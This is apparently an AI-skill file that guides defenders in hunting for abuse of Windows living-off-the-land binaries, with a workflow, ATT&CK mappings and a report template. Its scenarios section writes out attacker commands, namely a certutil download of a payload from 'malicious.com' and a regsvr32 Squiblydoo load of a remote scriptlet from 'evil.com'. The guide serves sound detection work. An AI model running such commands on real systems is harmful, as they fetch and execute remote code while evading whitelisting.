1---
2name: hunting-for-living-off-the-land-binaries
3description: "Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection."
4category: general-purpose
5source_repo: mukul975/Anthropic-Cybersecurity-Skills
6source_path: "skills/hunting-for-living-off-the-land-binaries/SKILL.md"
7source_url: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/HEAD/skills/hunting-for-living-off-the-land-binaries/SKILL.md
8metadata:
9 source: https://skillmd.com/skills/thedixitjain/hunting-for-living-off-the-land-binaries
10---
11
12
13# Hunting for Living-off-the-Land Binaries (LOLBins)
14
15## When to Use
16
17- When investigating fileless malware campaigns that bypass traditional AV
18- During proactive threat hunts targeting defense evasion techniques
19- When EDR alerts fire on legitimate binaries executing unusual child processes
20- After threat intelligence reports indicate LOLBin abuse in active campaigns
21- During red team/purple team exercises validating detection coverage for T1218
22
23## Prerequisites
24
25- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
26- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)
27- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list
28- PowerShell command-line logging enabled (Module Logging, Script Block Logging)
29- Network proxy or firewall logs for correlating outbound connections
30
31## Workflow
32
331. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").
342. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
353. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.
364. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.
375. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.
386. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.
397. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.
40
41## Key Concepts
42
43| Concept | Description |
44|---------|-------------|
45| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |
46| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |
47| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |
48| T1218.001 | Compiled HTML File (mshta.exe) |
49| T1218.002 | Control Panel (control.exe) |
50| T1218.003 | CMSTP |
51| T1218.005 | Mshta |
52| T1218.010 | Regsvr32 |
53| T1218.011 | Rundll32 |
54| T1197 | BITS Jobs (bitsadmin.exe) |
55| T1140 | Deobfuscate/Decode Files (certutil.exe) |
56| Proxy Execution | Using trusted binaries to execute untrusted code |
57| Fileless Attack | Attack that operates primarily in memory without dropping files |
58
59## Tools & Systems
60
61| Tool | Purpose |
62|------|---------|
63| CrowdStrike Falcon | EDR telemetry and process tree analysis |
64| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |
65| Splunk | SIEM log aggregation and SPL queries |
66| Elastic Security | Detection rules and timeline investigation |
67| Sysmon | Detailed process creation and network logging |
68| LOLBAS Project | Reference database of LOLBin capabilities |
69| Sigma Rules | Generic detection rule format for LOLBins |
70| Velociraptor | Endpoint forensic collection and hunting |
71
72## Common Scenarios
73
741. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http://malicious.com/payload.exe` to download malware, bypassing web proxies that allow certutil traffic.
752. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.
763. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.
774. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll` bypassing application whitelisting.
785. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin /transfer`.
79
80## Output Format
81
82```
83Hunt ID: TH-LOLBIN-[DATE]-[SEQ]
84Hypothesis: [Stated hypothesis]
85LOLBins Investigated: [List of binaries]
86Time Range: [Start] - [End]
87Data Sources: [EDR, Sysmon, SIEM]
88Findings:
89 - [Finding 1 with evidence]
90 - [Finding 2 with evidence]
91Anomalies Detected: [Count]
92True Positives: [Count]
93False Positives: [Count]
94IOCs Identified: [List]
95Detection Rules Created/Updated: [List]
96Recommendations: [Next steps]
97```
98
99---
100
101**Source:** [`mukul975/Anthropic-Cybersecurity-Skills`](https://github.com/mukul975/Anthropic-Cybersecurity-Skills) → `skills/hunting-for-living-off-the-land-binaries/SKILL.md`